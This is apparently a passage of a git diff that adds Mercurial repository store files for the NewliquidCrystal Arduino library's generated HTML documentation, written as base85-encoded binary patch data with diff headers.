z^x0(Ls*H*&_wr;3lK4}5-=3K4#%%zbWMu{GbA1NTrB^J1v7v?FkW-~RlC!aF0piws zX);~)z?H6&(8{{QJ`Pi%P5Y|7P$TI-bU-rB^pZ-$cR3#(87Jw*I9DLY3b^TPE>Zyt zf~!R4vjguqrXp%F))m^H|0soVsmwdN{a{d!h5@ezKM0%24+1s|!r(=0$2#G|C&S?t z?Ybt6+-=LGBK$i-cUDHyqv}cnx!M>b<~5e91mE?7(A`h<8GQSjz>@Qf>bO(V7^?pb z^*Q$&>dbof?ig|tGt{&-0VmDs{+orJ4Y&^Vn<5TpI|{DSRG0Jl1_Vf|A;PJ^@2SSG z@-^Pav&qza&F1?D^T|`ZN+s@%JYF_aZyB^T#8~TW?l@;>XLgjH7i$o9D%TDZ5u7(D zEte(hKg!oT-9}_$O)%xUvzYf#)yUL-ZXfhIah;mPPLF%P5W4@v=sU1}12wFwq>*m9 ArT_o{ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..0350ce638191b8652e7cf473255cde7d606afdd1 GIT binary patch literal 8140 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௝HI&Uw3|p34rfJrM(c|p9x|RI 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

I!3wum`I=FlV6-B< zfN4L55s71}^*6ePp`IugfZlqHugB)By|%LhqYAo*(RJlHFVro%4hVadA*3R|QG2>1 zBBcYmvM0+%7RoYfmw>W(*Qo)JBkk-=xzs>zd;vEYf7JMQ5^!=A+~_aRcWz%No3-Sm zPO}uFxm1ZQkYTs5Vk_Xvs@_7|5!V;c6myMp?xpISQB-h`JN>wF(7~01ErF%Khdr>I zf!1AsCFODs`+I|xb7~>I9~Cy%Rz0c(YG{c7R#~sGV1cSQ1*&G7A-tKMz;d7}Bb(zv z$#82dZV-Mm(>mwO%!$I)$rohuM*xkj0_~djNJv4CoBHmFH-J)3su;WLy@gyMWXaS! zvbun%2fH)w4yajNGVIxm9n4~Q%-6FOiD%E3ZYOph?e2DYSG5|TYSr2++EK=9$(22R ztF@QIy2vs(1Fdki=MMzcaFhhGKR$4Cj*!V_20O+bx!G`Aj@|v@V6FF7O?6f^JKOOC zshx8fe}gKGWkM$pn233iQ1pF=S{~TIEIWk0+^8rA zmvvcLNz1%E@2ZW}o-E@(vkU;>mZhRP3+y@QULD8we6Zx6&e}B_AG>OEX^hMq>AAKa zZs3-5R(sT6+CFj3sx~-eFXRU~G0PeeVZgoDsNcifKn6hShDF>FO@7jyzU8}zR>%KB zN@G!_xr9l9J`scdDpGWa4u<>i=iun@@zL;!W8rN=KQFHe4fM1=Z&cSu`;DVbk$2p2 z-F5Fz=SrhFn9Gs!d@e7AHy=^;W%!G8*C)R@hW%|~Xq|4qJC1{G;wUdzzdwq@t)eJ|o4S`s9&Z!LKSVJL znfDUOlWiigA59awxR*elZWG8WQDhco?`waa{Yo%W-A5?Tw+ZEhE|@3_#bdb#bGA@G zKRRIU-67>KfoS0Fa_-Y1>@b0`y9EU|CW1Ny?svlb!zoG)M^zdStio literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c______by__vac__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c______by__vac__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..e5f00dcf057f7c66bd90c7a2be1002603ec97137 GIT binary patch literal 6507 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 